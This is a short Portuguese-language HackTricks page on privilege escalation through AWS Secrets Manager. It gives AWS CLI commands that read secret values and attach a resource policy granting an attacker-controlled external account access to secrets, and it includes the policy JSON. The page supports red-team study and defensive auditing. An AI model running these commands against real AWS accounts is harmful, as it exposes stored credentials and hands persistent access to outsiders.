AWS - Secrets Manager Privesc

Reading time: 2 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Secrets Manager

Para mais informações sobre o Secrets Manager, consulte:

AWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Um atacante com esta permissão pode obter o valor salvo dentro de um segredo no AWS Secretsmanager.

bash
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Impacto Potencial: Acesso a dados altamente sensíveis dentro do serviço AWS Secrets Manager.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Com as permissões anteriores, é possível dar acesso a outros principais/contas (mesmo externos) para acessar o segredo. Note que, para ler segredos criptografados com uma chave KMS, o usuário também precisa ter acesso à chave KMS (mais informações na página KMS Enum).

bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks